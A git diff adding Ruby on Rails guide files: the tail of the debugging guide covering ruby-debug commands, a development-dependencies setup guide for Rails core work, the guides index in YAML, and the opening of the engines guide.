+On the other hand, to see the previous ten lines you should type `list-` (or `l-`)
+
+```
+(rdb:7) l-
+[1, 10] in /PathTo/project/app/controllers/posts_controller.rb
+ 1 class PostsController < ApplicationController
+ 2 # GET /posts
+ 3 # GET /posts.json
+ 4 def index
+ 5 debugger
+ 6 @posts = Post.all
+ 7
+ 8 respond_to do |format|
+ 9 format.html # index.html.erb
+ 10 format.json { render :json => @posts }
+```
+
+This way you can move inside the file, being able to see the code above and over the line you added the `debugger`.
+Finally, to see where you are in the code again you can type `list=`
+
+```
+(rdb:7) list=
+[1, 10] in /PathTo/project/app/controllers/posts_controller.rb
+ 1 class PostsController < ApplicationController
+ 2 # GET /posts
+ 3 # GET /posts.json
+ 4 def index
+ 5 debugger
+=> 6 @posts = Post.all
+ 7
+ 8 respond_to do |format|
+ 9 format.html # index.html.erb
+ 10 format.json { render :json => @posts }
+```
+
+### The Context
+
+When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.
+
+The debugger creates a context when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.
+
+At any time you can call the `backtrace` command (or its alias `where`) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then `backtrace` will supply the answer.
+
+```
+(rdb:5) where
+ #0 PostsController.index
+ at line /PathTo/project/app/controllers/posts_controller.rb:6
+ #1 Kernel.send
+ at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+ #2 ActionController::Base.perform_action_without_filters
+ at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+ #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...)
+ at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617
+...
+```
+
+You move anywhere you want in this trace (thus changing the context) by using the `frame _n_` command, where _n_ is the specified frame number.
+
+```
+(rdb:5) frame 2
+#2 ActionController::Base.perform_action_without_filters
+ at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+```
+
+The available variables are the same as if you were running the code line by line. After all, that's what debugging is.
+
+Moving up and down the stack frame: You can use `up [n]` (`u` for abbreviated) and `down [n]` commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.
+
+### Threads
+
+The debugger can list, stop, resume and switch between running threads by using the command `thread` (or the abbreviated `th`). This command has a handful of options:
+
+* `thread` shows the current thread.
+* `thread list` is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution.
+* `thread stop _n_` stop thread _n_.
+* `thread resume _n_` resumes thread _n_.
+* `thread switch _n_` switches the current thread context to _n_.
+
+This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code.
+
+### Inspecting Variables
+
+Any expression can be evaluated in the current context. To evaluate an expression, just type it!
+
+This example shows how you can print the instance_variables defined within the current context:
+
+```
+ at posts = Post.all
+(rdb:11) instance_variables
+["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"]
+```
+
+As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using `next` (you'll learn more about this command later in this guide).
+
+```
+(rdb:11) next
+Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
+ Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e
+ Parameters: {"action"=>"index", "controller"=>"posts"}
+/PathToProject/posts_controller.rb:8
+respond_to do |format|
+```
+
+And then ask again for the instance_variables:
+
+```
+(rdb:11) instance_variables.include? "@posts"
+true
+```
+
+Now `@posts` is included in the instance variables, because the line defining it was executed.
+
+TIP: You can also step into **irb** mode with the command `irb` (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.
+
+The `var` method is the most convenient way to show variables and their values:
+
+```
+var
+(rdb:1) v[ar] const <object> show constants of object
+(rdb:1) v[ar] g[lobal] show global variables
+(rdb:1) v[ar] i[nstance] <object> show instance variables of object
+(rdb:1) v[ar] l[ocal] show local variables
+```
+
+This is a great way to inspect the values of the current context variables. For example:
+
+```
+(rdb:9) var local
+ __dbg_verbose_save => false
+```
+
+You can also inspect for an object method this way:
+
+```
+(rdb:9) var instance Post.new
+ at attributes = {"updated_at"=>nil, "body"=>nil, "title"=>nil, "published"=>nil, "created_at"...
+ at attributes_cache = {}
+ at new_record = true
+```
+
+TIP: The commands `p` (print) and `pp` (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.
+
+You can use also `display` to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.
+
+```
+(rdb:1) display @recent_comments
+1: @recent_comments =
+```
+
+The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use `undisplay _n_` where _n_ is the variable number (1 in the last example).
+
+### Step by Step
+
+Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution.
+
+Use `step` (abbreviated `s`) to continue running your program until the next logical stopping point and return control to the debugger.
+
+TIP: You can also use `step+ n` and `step- n` to move forward or backward `n` steps respectively.
+
+You may also use `next` which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move _n_ steps.
+
+The difference between `next` and `step` is that `step` stops at the next line of code executed, doing just a single step, while `next` moves to the next line without descending inside methods.
+
+For example, consider this block of code with an included `debugger` statement:
+
+```ruby
+class Author < ActiveRecord::Base
+ has_one :editorial
+ has_many :comments
+
+ def find_recent_comments(limit = 10)
+ debugger
+ @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit)
+ end
+end
+```
+
+TIP: You can use the debugger while using `rails console`. Just remember to `require "debugger"` before calling the `debugger` method.
+
+```
+$ rails console
+Loading development environment (Rails 3.2.13)
+>> require "debugger"
+=> []
+>> author = Author.first
+=> #<Author id: 1, first_name: "Bob", last_name: "Smith", created_at: "2008-07-31 12:46:10", updated_at: "2008-07-31 12:46:10">
+>> author.find_recent_comments
+/PathTo/project/app/models/author.rb:11
+)
+```
+
+With the code stopped, take a look around:
+
+```
+(rdb:1) list
+[2, 9] in /PathTo/project/app/models/author.rb
+ 2 has_one :editorial
+ 3 has_many :comments
+ 4
+ 5 def find_recent_comments(limit = 10)
+ 6 debugger
+=> 7 @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit)
+ 8 end
+ 9 end
+```
+
+You are at the end of the line, but... was this line executed? You can inspect the instance variables.
+
+```
+(rdb:1) var instance
+ at attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
+ at attributes_cache = {}
+```
+
+`@recent_comments` hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the `next` command to move on in the code:
+
+```
+(rdb:1) next
+/PathTo/project/app/models/author.rb:12
+ at recent_comments
+(rdb:1) var instance
+ at attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
+ at attributes_cache = {}
+ at comments = []
+ at recent_comments = []
+```
+
+Now you can see that the `@comments` relationship was loaded and @recent_comments defined because the line was executed.
+
+If you want to go deeper into the stack trace you can move single `steps`, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.
+
+### Breakpoints
+
+A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line.
+
+You can add breakpoints dynamically with the command `break` (or just `b`). There are 3 possible ways of adding breakpoints manually:
+
+* `break line`: set breakpoint in the _line_ in the current source file.
+* `break file:line [if expression]`: set breakpoint in the _line_ number inside the _file_. If an _expression_ is given it must evaluated to _true_ to fire up the debugger.
+* `break class(.|\#)method [if expression]`: set breakpoint in _method_ (. and \# for class and instance method respectively) defined in _class_. The _expression_ works the same way as with file:line.
+
+```
+(rdb:5) break 10
+Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10
+```
+
+Use `info breakpoints _n_` or `info break _n_` to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.
+
+```
+(rdb:5) info breakpoints
+Num Enb What
+ 1 y at filters.rb:10
+```
+
+To delete breakpoints: use the command `delete _n_` to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active..
+
+```
+(rdb:5) delete 1
+(rdb:5) info breakpoints
+No breakpoints.
+```
+
+You can also enable or disable breakpoints:
+
+* `enable breakpoints`: allow a list _breakpoints_ or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint.
+* `disable breakpoints`: the _breakpoints_ will have no effect on your program.
+
+### Catching Exceptions
+
+The command `catch exception-name` (or just `cat exception-name`) can be used to intercept an exception of type _exception-name_ when there would otherwise be is no handler for it.
+
+To list all active catchpoints use `catch`.
+
+### Resuming Execution
+
+There are two ways to resume execution of an application that is stopped in the debugger:
+
+* `continue` [line-specification] \(or `c`): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
+* `finish` [frame-number] \(or `fin`): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.
+
+### Editing
+
+Two commands allow you to open code from the debugger into an editor:
+
+* `edit [file:line]`: edit _file_ using the editor specified by the EDITOR environment variable. A specific _line_ can also be given.
+* `tmate _n_` (abbreviated `tm`): open the current file in TextMate. It uses n-th frame if _n_ is specified.
+
+### Quitting
+
+To exit the debugger, use the `quit` command (abbreviated `q`), or its alias `exit`.
+
+A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again.
+
+### Settings
+
+The `debugger` gem can automatically show the code you're stepping through and reload it when you change it in an editor. Here are a few of the available options:
+
+* `set reload`: Reload source code when changed.
+* `set autolist`: Execute `list` command on every breakpoint.
+* `set listsize _n_`: Set number of source lines to list by default to _n_.
+* `set forcestep`: Make sure the `next` and `step` commands always move to a new line
+
+You can see the full list by using `help set`. Use `help set _subcommand_` to learn about a particular `set` command.
+
+TIP: You can save these settings in an `.rdebugrc` file in your home directory. The debugger reads these global settings when it starts.
+
+Here's a good start for an `.rdebugrc`:
+
+```bash
+set autolist
+set forcestep
+set listsize 25
+```
+
+Debugging Memory Leaks
+----------------------
+
+A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level.
+
+In this section, you will learn how to find and fix such leaks by using tool such as Valgrind.
+
+### Valgrind
+
+[Valgrind](http://valgrind.org/) is a Linux-only application for detecting C-based memory leaks and race conditions.
+
+There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls `malloc()` but is doesn't properly call `free()`, this memory won't be available until the app terminates.
+
+For further information on how to install Valgrind and use with Ruby, refer to [Valgrind and Ruby](http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/) by Evan Weaver.
+
+Plugins for Debugging
+---------------------
+
+There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:
+
+* [Footnotes](https://github.com/josevalim/rails-footnotes) Every Rails page has footnotes that give request information and link back to your source via TextMate.
+* [Query Trace](https://github.com/ntalbott/query_trace/tree/master) Adds query origin tracing to your logs.
+* [Query Reviewer](https://github.com/nesquena/query_reviewer) This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed.
+* [Exception Notifier](https://github.com/smartinez87/exception_notification/tree/master) Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
+
+References
+----------
+
+* [ruby-debug Homepage](http://bashdb.sourceforge.net/ruby-debug/home-page.html)
+* [debugger Homepage](https://github.com/cldwalker/debugger)
+* [Article: Debugging a Rails application with ruby-debug](http://www.sitepoint.com/debug-rails-app-ruby-debug/)
+* [Ryan Bates' debugging ruby (revised) screencast](http://railscasts.com/episodes/54-debugging-ruby-revised)
+* [Ryan Bates' stack trace screencast](http://railscasts.com/episodes/24-the-stack-trace)
+* [Ryan Bates' logger screencast](http://railscasts.com/episodes/56-the-logger)
+* [Debugging with ruby-debug](http://bashdb.sourceforge.net/ruby-debug.html)
diff --git a/guides/source/development_dependencies_install.md b/guides/source/development_dependencies_install.md
new file mode 100644
index 0000000..14ca44d
--- /dev/null
+++ b/guides/source/development_dependencies_install.md
@@ -0,0 +1,195 @@
+Development Dependencies Install
+================================
+
+This guide covers how to setup an environment for Ruby on Rails core development.
+
+After reading this guide, you will know:
+
+--------------------------------------------------------------------------------
+
+The Easy Way
+------------
+
+The easiest and recommended way to get a development environment ready to hack is to use the [Rails development box](https://github.com/rails/rails-dev-box).
+
+The Hard Way
+------------
+
+In case you can't use the Rails development box, see section above, these are the steps to manually build a development box for Ruby on Rails core development.
+
+### Install Git
+
+Ruby on Rails uses Git for source code control. The [Git homepage](http://git-scm.com/) has installation instructions. There are a variety of resources on the net that will help you get familiar with Git:
+
+* [Try Git course](http://try.github.io/) is an interactive course that will teach you the basics.
+* The [official Documentation](http://git-scm.com/documentation) is pretty comprehensive and also contains some videos with the basics of Git
+* [Everyday Git](http://schacon.github.io/git/everyday.html) will teach you just enough about Git to get by.
+* The [PeepCode screencast](https://peepcode.com/products/git) on Git ($9) is easier to follow.
+* [GitHub](http://help.github.com) offers links to a variety of Git resources.
+* [Pro Git](http://git-scm.com/book) is an entire book about Git with a Creative Commons license.
+
+### Clone the Ruby on Rails Repository
+
+Navigate to the folder where you want the Ruby on Rails source code (it will create its own `rails` subdirectory) and run:
+
+```bash
+$ git clone git://github.com/rails/rails.git
+$ cd rails
+```
+
+### Set up and Run the Tests
+
+The test suite must pass with any submitted code. No matter whether you are writing a new patch, or evaluating someone else's, you need to be able to run the tests.
+
+Install first libxml2 and libxslt together with their development files for Nokogiri. In Ubuntu that's
+
+```bash
+$ sudo apt-get install libxml2 libxml2-dev libxslt1-dev
+```
+
+If you are on Fedora or CentOS, you can run
+
+```bash
+$ sudo yum install libxml2 libxml2-devel libxslt libxslt-devel
+```
+
+If you have any problems with these libraries, you should install them manually compiling the source code. Just follow the instructions at the [Red Hat/CentOS section of the Nokogiri tutorials](http://nokogiri.org/tutorials/installing_nokogiri.html#red_hat__centos) .
+
+Also, SQLite3 and its development files for the `sqlite3-ruby` gem — in Ubuntu you're done with just
+
+```bash
+$ sudo apt-get install sqlite3 libsqlite3-dev
+```
+
+And if you are on Fedora or CentOS, you're done with
+
+```bash
+$ sudo yum install sqlite3 sqlite3-devel
+```
+
+Get a recent version of [Bundler](http://gembundler.com/)
+
+```bash
+$ gem install bundler
+$ gem update bundler
+```
+
+and run:
+
+```bash
+$ bundle install --without db
+```
+
+This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back to these soon. With dependencies installed, you can run the test suite with:
+
+```bash
+$ bundle exec rake test
+```
+
+You can also run tests for a specific component, like Action Pack, by going into its directory and executing the same command:
+
+```bash
+$ cd actionpack
+$ bundle exec rake test
+```
+
+If you want to run the tests located in a specific directory use the `TEST_DIR` environment variable. For example, this will run the tests of the `railties/test/generators` directory only:
+
+```bash
+$ cd railties
+$ TEST_DIR=generators bundle exec rake test
+```
+
+You can run any single test separately too:
+
+```bash
+$ cd actionpack
+$ bundle exec ruby -Itest test/template/form_helper_test.rb
+```
+
+### Active Record Setup
+
+The test suite of Active Record attempts to run four times: once for SQLite3, once for each of the two MySQL gems (`mysql` and `mysql2`), and once for PostgreSQL. We are going to see now how to set up the environment for them.
+
+WARNING: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, and SQLite3. Subtle differences between the various adapters have been behind the rejection of many patches that looked OK when tested only against MySQL.
+
+#### Database Configuration
+
+The Active Record test suite requires a custom config file: `activerecord/test/config.yml`. An example is provided in `activerecord/test/config.example.yml` which can be copied and used as needed for your environment.
+
+#### MySQL and PostgreSQL
+
+To be able to run the suite for MySQL and PostgreSQL we need their gems. Install first the servers, their client libraries, and their development files. In Ubuntu just run
+
+```bash
+$ sudo apt-get install mysql-server libmysqlclient15-dev
+$ sudo apt-get install postgresql postgresql-client postgresql-contrib libpq-dev
+```
+
+On Fedora or CentOS, just run:
+
+```bash
+$ sudo yum install mysql-server mysql-devel
+$ sudo yum install postgresql-server postgresql-devel
+```
+
+After that run:
+
+```bash
+$ rm .bundle/config
+$ bundle install
+```
+
+We need first to delete `.bundle/config` because Bundler remembers in that file that we didn't want to install the "db" group (alternatively you can edit the file).
+
+In order to be able to run the test suite against MySQL you need to create a user named `rails` with privileges on the test databases:
+
+```bash
+$ mysql -uroot -p
+
+mysql> CREATE USER 'rails'@'localhost';
+mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.*
+ to 'rails'@'localhost';
+mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.*
+ to 'rails'@'localhost';
+```
+
+and create the test databases:
+
+```bash
+$ cd activerecord
+$ bundle exec rake mysql:build_databases
+```
+
+PostgreSQL's authentication works differently. A simple way to set up the development environment for example is to run with your development account
+
+```bash
+$ sudo -u postgres createuser --superuser $USER
+```
+
+and then create the test databases with
+
+```bash
+$ cd activerecord
+$ bundle exec rake postgresql:build_databases
+```
+
+It is possible to build databases for both PostgreSQL and MySQL with
+
+```bash
+$ cd activerecord
+$ bundle exec rake db:create
+```
+
+You can cleanup the databases using
+
+```bash
+$ cd activerecord
+$ bundle exec rake db:drop
+```
+
+NOTE: Using the rake task to create the test databases ensures they have the correct character set and collation.
+
+NOTE: You'll see the following warning (or localized warning) during activating HStore extension in PostgreSQL 9.1.x or earlier: "WARNING: => is deprecated as an operator".
+
+If you’re using another database, check the file `activerecord/test/config.yml` or `activerecord/test/config.example.yml` for default connection information. You can edit `activerecord/test/config.yml` to provide different credentials on your machine if you must, but obviously you should not push any such changes back to Rails.
diff --git a/guides/source/documents.yaml b/guides/source/documents.yaml
new file mode 100644
index 0000000..1b16f4e
--- /dev/null
+++ b/guides/source/documents.yaml
@@ -0,0 +1,183 @@
+-
+ name: Start Here
+ documents:
+ -
+ name: Getting Started with Rails
+ url: getting_started.html
+ description: Everything you need to know to install Rails and create your first application.
+-
+ name: Models
+ documents:
+ -
+ name: Active Record Basics
+ url: active_record_basics.html
+ description: This guide will get you started with models, persistence to database and the Active Record pattern and library.
+ -
+ name: Rails Database Migrations
+ url: migrations.html
+ description: This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner.
+ -
+ name: Active Record Validations
+ url: active_record_validations.html
+ description: This guide covers how you can use Active Record validations
+ -
+ name: Active Record Callbacks
+ url: active_record_callbacks.html
+ description: This guide covers how you can use Active Record callbacks.
+ -
+ name: Active Record Associations
+ url: association_basics.html
+ description: This guide covers all the associations provided by Active Record.
+ -
+ name: Active Record Query Interface
+ url: active_record_querying.html
+ description: This guide covers the database query interface provided by Active Record.
+-
+ name: Views
+ documents:
+ -
+ name: Action View Overview
+ url: action_view_overview.html
+ description: This guide provides an introduction to Action View and introduces a few of the more common view helpers.
+ work_in_progress: true
+ -
+ name: Layouts and Rendering in Rails
+ url: layouts_and_rendering.html
+ description: This guide covers the basic layout features of Action Controller and Action View, including rendering and redirecting, using content_for blocks, and working with partials.
+ -
+ name: Action View Form Helpers
+ url: form_helpers.html
+ description: Guide to using built-in Form helpers.
+-
+ name: Controllers
+ documents:
+ -
+ name: Action Controller Overview
+ url: action_controller_overview.html
+ description: This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics.
+ -
+ name: Rails Routing from the Outside In
+ url: routing.html
+ description: This guide covers the user-facing features of Rails routing. If you want to understand how to use routing in your own Rails applications, start here.
+-
+ name: Digging Deeper
+ documents:
+ -
+ name: Active Support Core Extensions
+ url: active_support_core_extensions.html
+ description: This guide documents the Ruby core extensions defined in Active Support.
+ -
+ name: Rails Internationalization API
+ url: i18n.html
+ description: This guide covers how to add internationalization to your applications. Your application will be able to translate content to different languages, change pluralization rules, use correct date formats for each country and so on.
+ -
+ name: Action Mailer Basics
+ url: action_mailer_basics.html
+ description: This guide describes how to use Action Mailer to send and receive emails.
+ -
+ name: Testing Rails Applications
+ url: testing.html
+ work_in_progress: true
+ description: This is a rather comprehensive guide to doing both unit and functional tests in Rails. It covers everything from 'What is a test?' to the testing APIs. Enjoy.
+ -
+ name: Securing Rails Applications
+ url: security.html
+ description: This guide describes common security problems in web applications and how to avoid them with Rails.
+ -
+ name: Debugging Rails Applications
+ url: debugging_rails_applications.html
+ description: This guide describes how to debug Rails applications. It covers the different ways of achieving this and how to understand what is happening "behind the scenes" of your code.
+ -
+ name: Configuring Rails Applications
+ url: configuring.html
+ description: This guide covers the basic configuration settings for a Rails application.
+ -
+ name: Rails Command Line Tools and Rake Tasks
+ url: command_line.html
+ description: This guide covers the command line tools and rake tasks provided by Rails.
+ -
+ name: Caching with Rails
+ work_in_progress: true
+ url: caching_with_rails.html
+ description: Various caching techniques provided by Rails.
+ -
+ name: Asset Pipeline
+ url: asset_pipeline.html
+ description: This guide documents the asset pipeline.
+ -
+ name: Working with JavaScript in Rails
+ url: working_with_javascript_in_rails.html
+ description: This guide covers the built-in Ajax/JavaScript functionality of Rails.
+ -
+ name: Getting Started with Engines
+ url: engines.html
+ description: This guide explains how to write a mountable engine.
+ work_in_progress: true
+ -
+ name: The Rails Initialization Process
+ work_in_progress: true
+ url: initialization.html
+ description: This guide explains the internals of the Rails initialization process as of Rails 3.1
+-
+ name: Extending Rails
+ documents:
+ -
+ name: The Basics of Creating Rails Plugins
+ work_in_progress: true
+ url: plugins.html
+ description: This guide covers how to build a plugin to extend the functionality of Rails.
+ -
+ name: Rails on Rack
+ url: rails_on_rack.html
+ description: This guide covers Rails integration with Rack and interfacing with other Rack components.
+ -
+ name: Creating and Customizing Rails Generators
+ url: generators.html
+ description: This guide covers the process of adding a brand new generator to your extension or providing an alternative to an element of a built-in Rails generator (such as providing alternative test stubs for the scaffold generator).
+-
+ name: Contributing to Ruby on Rails
+ documents:
+ -
+ name: Contributing to Ruby on Rails
+ url: contributing_to_ruby_on_rails.html
+ description: Rails is not 'somebody else's framework.' This guide covers a variety of ways that you can get involved in the ongoing development of Rails.
+ -
+ name: API Documentation Guidelines
+ url: api_documentation_guidelines.html
+ description: This guide documents the Ruby on Rails API documentation guidelines.
+ -
+ name: Ruby on Rails Guides Guidelines
+ url: ruby_on_rails_guides_guidelines.html
+ description: This guide documents the Ruby on Rails guides guidelines.
+-
+ name: Release Notes
+ documents:
+ -
+ name: Upgrading Ruby on Rails
+ url: upgrading_ruby_on_rails.html
+ work_in_progress: true
+ description: This guide helps in upgrading applications to latest Ruby on Rails versions.
+ -
+ name: Ruby on Rails 4.0 Release Notes
+ url: 4_0_release_notes.html
+ description: Release notes for Rails 4.0.
+ -
+ name: Ruby on Rails 3.2 Release Notes
+ url: 3_2_release_notes.html
+ description: Release notes for Rails 3.2.
+ -
+ name: Ruby on Rails 3.1 Release Notes
+ url: 3_1_release_notes.html
+ description: Release notes for Rails 3.1.
+ -
+ name: Ruby on Rails 3.0 Release Notes
+ url: 3_0_release_notes.html
+ description: Release notes for Rails 3.0.
+ -
+ name: Ruby on Rails 2.3 Release Notes
+ url: 2_3_release_notes.html
+ description: Release notes for Rails 2.3.
+ -
+ name: Ruby on Rails 2.2 Release Notes
+ url: 2_2_release_notes.html
+ description: Release notes for Rails 2.2.
diff --git a/guides/source/engines.md b/guides/source/engines.md
new file mode 100644
index 0000000..663e59b
--- /dev/null
+++ b/guides/source/engines.md
@@ -0,0 +1,966 @@
+Getting Started with Engines
+============================
+
+In this guide you will learn about engines and how they can be used to provide additional functionality to their host applications through a clean and very easy-to-use interface.
+
+After reading this guide, you will know:
+
+* What makes an engine.
+* How to generate an engine.
+* Building features for the engine.
+* Hooking the engine into an application.
+* Overriding engine functionality in the application.
+
+--------------------------------------------------------------------------------
+
+What are engines?
+-----------------
+
+Engines can be considered miniature applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the `Rails::Application` class inheriting a lot of its behavior from `Rails::Engine`.
+
+Therefore, engines and applications can be thought of almost the same thing, just with subtle differences, as you'll see throughout this guide. Engines and applications also share a common structure.
+
+Engines are also closely related to plugins where the two share a common `lib` directory structure and are both generated using the `rails plugin new` generator. The difference being that an engine is considered a "full plugin" by Rails as indicated by the `--full` option that's passed to the generator command, but this guide will refer to them simply as "engines" throughout. An engine **can** be a plugin, and a plugin **can** be an engine.
+
+The engine that will be created in this guide will be called "blorgh". The engine will provide blogging functionality to its host applications, allowing for new posts and comments to be created. At the beginning of this guide, you will be working solely within the engine itself, but in later sections you'll see how to hook it into an application.
+
+Engines can also be isolated from their host applications. This means that an application is able to have a path provided by a routing helper such as `posts_path` and use an engine also that provides a path also called `posts_path`, and the two would not clash. Along with this, controllers, models and table names are also namespaced. You'll see how to do this later in this guide.
+
+It's important to keep in mind at all times that the application should **always** take precedence over its engines. An application is the object that has final say in what goes on in the universe (with the universe being the application's environment) where the engine should only be enhancing it, rather than changing it drastically.
+
+To see demonstrations of other engines, check out [Devise](https://github.com/plataformatec/devise), an engine that provides authentication for its parent applications, or [Forem](https://github.com/radar/forem), an engine that provides forum functionality. There's also [Spree](https://github.com/spree/spree) which provides an e-commerce platform, and [RefineryCMS](https://github.com/refinery/refinerycms), a CMS engine.
+
+Finally, engines would not have been possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks!
+
+Generating an engine
+--------------------
+
+To generate an engine, you will need to run the plugin generator and pass it options as appropriate to the need. For the "blorgh" example, you will need to create a "mountable" engine, running this command in a terminal:
+
+```bash
+$ rails plugin new blorgh --mountable
+```
+
+The full list of options for the plugin generator may be seen by typing:
+
+```bash
+$ rails plugin --help
+```
+
+The `--full` option tells the generator that you want to create an engine, including a skeleton structure by providing the following:
+
+ * An `app` directory tree
+ * A `config/routes.rb` file:
+
+ ```ruby
+ Rails.application.routes.draw do
+ end
+ ```
+ * A file at `lib/blorgh/engine.rb` which is identical in function to a standard Rails application's `config/application.rb` file:
+
+ ```ruby
+ module Blorgh
+ class Engine < ::Rails::Engine
+ end
+ end
+ ```
+
+The `--mountable` option tells the generator that you want to create a "mountable" and namespace-isolated engine. This generator will provide the same skeleton structure as would the `--full` option, and will add:
+
+ * Asset manifest files (`application.js` and `application.css`)
+ * A namespaced `ApplicationController` stub
+ * A namespaced `ApplicationHelper` stub
+ * A layout view template for the engine
+ * Namespace isolation to `config/routes.rb`:
+
+ ```ruby
+ Blorgh::Engine.routes.draw do
+ end
+ ```
+
+ * Namespace isolation to `lib/blorgh/engine.rb`:
+
+ ```ruby
+ module Blorgh
+ class Engine < ::Rails::Engine
+ isolate_namespace Blorgh
+ end
+ end
+ ```
+
+Additionally, the `--mountable` option tells the generator to mount the engine inside the dummy testing application located at `test/dummy` by adding the following to the dummy application's routes file at `test/dummy/config/routes.rb`:
+
+```ruby
+mount Blorgh::Engine, at: "blorgh"
+```
+
+### Inside an engine
+
+#### Critical files
+
+At the root of this brand new engine's directory lives a `blorgh.gemspec` file. When you include the engine into an application later on, you will do so with this line in the Rails application's `Gemfile`:
+
+```ruby
+gem 'blorgh', path: "vendor/engines/blorgh"
+```
+
+By specifying it as a gem within the `Gemfile`, Bundler will load it as such, parsing this `blorgh.gemspec` file and requiring a file within the `lib` directory called `lib/blorgh.rb`. This file requires the `blorgh/engine.rb` file (located at `lib/blorgh/engine.rb`) and defines a base module called `Blorgh`.
+
+```ruby
+require "blorgh/engine"
+
+module Blorgh
+end
+```
+
+TIP: Some engines choose to use this file to put global configuration options for their engine. It's a relatively good idea, and so if you want to offer configuration options, the file where your engine's `module` is defined is perfect for that. Place the methods inside the module and you'll be good to go.
+
+Within `lib/blorgh/engine.rb` is the base class for the engine:
+
+```ruby
+module Blorgh
+ class Engine < Rails::Engine
+ isolate_namespace Blorgh
+ end
+end
+```
+
+By inheriting from the `Rails::Engine` class, this gem notifies Rails that there's an engine at the specified path, and will correctly mount the engine inside the application, performing tasks such as adding the `app` directory of the engine to the load path for models, mailers, controllers and views.
+
+The `isolate_namespace` method here deserves special notice. This call is responsible for isolating the controllers, models, routes and other things into their own namespace, away from similar components inside the application. Without this, there is a possibility that the engine's components could "leak" into the application, causing unwanted disruption, or that important engine components could be overridden by similarly named things within the application. One of the examples of such [...]
+
+NOTE: It is **highly** recommended that the `isolate_namespace` line be left within the `Engine` class definition. Without it, classes generated in an engine **may** conflict with an application.
+
+What this isolation of the namespace means is that a model generated by a call to `rails g model` such as `rails g model post` won't be called `Post`, but instead be namespaced and called `Blorgh::Post`. In addition, the table for the model is namespaced, becoming `blorgh_posts`, rather than simply `posts`. Similar to the model namespacing, a controller called `PostsController` becomes `Blorgh::PostsController` and the views for that controller will not be at `app/views/posts`, but `app/ [...]
+
+Finally, routes will also be isolated within the engine. This is one of the most important parts about namespacing, and is discussed later in the [Routes](#routes) section of this guide.
+
+#### `app` directory
+
+Inside the `app` directory are the standard `assets`, `controllers`, `helpers`, `mailers`, `models` and `views` directories that you should be familiar with from an application. The `helpers`, `mailers` and `models` directories are empty and so aren't described in this section. We'll look more into models in a future section, when we're writing the engine.
+
+Within the `app/assets` directory, there are the `images`, `javascripts` and `stylesheets` directories which, again, you should be familiar with due to their similarity to an application. One difference here however is that each directory contains a sub-directory with the engine name. Because this engine is going to be namespaced, its assets should be too.
+
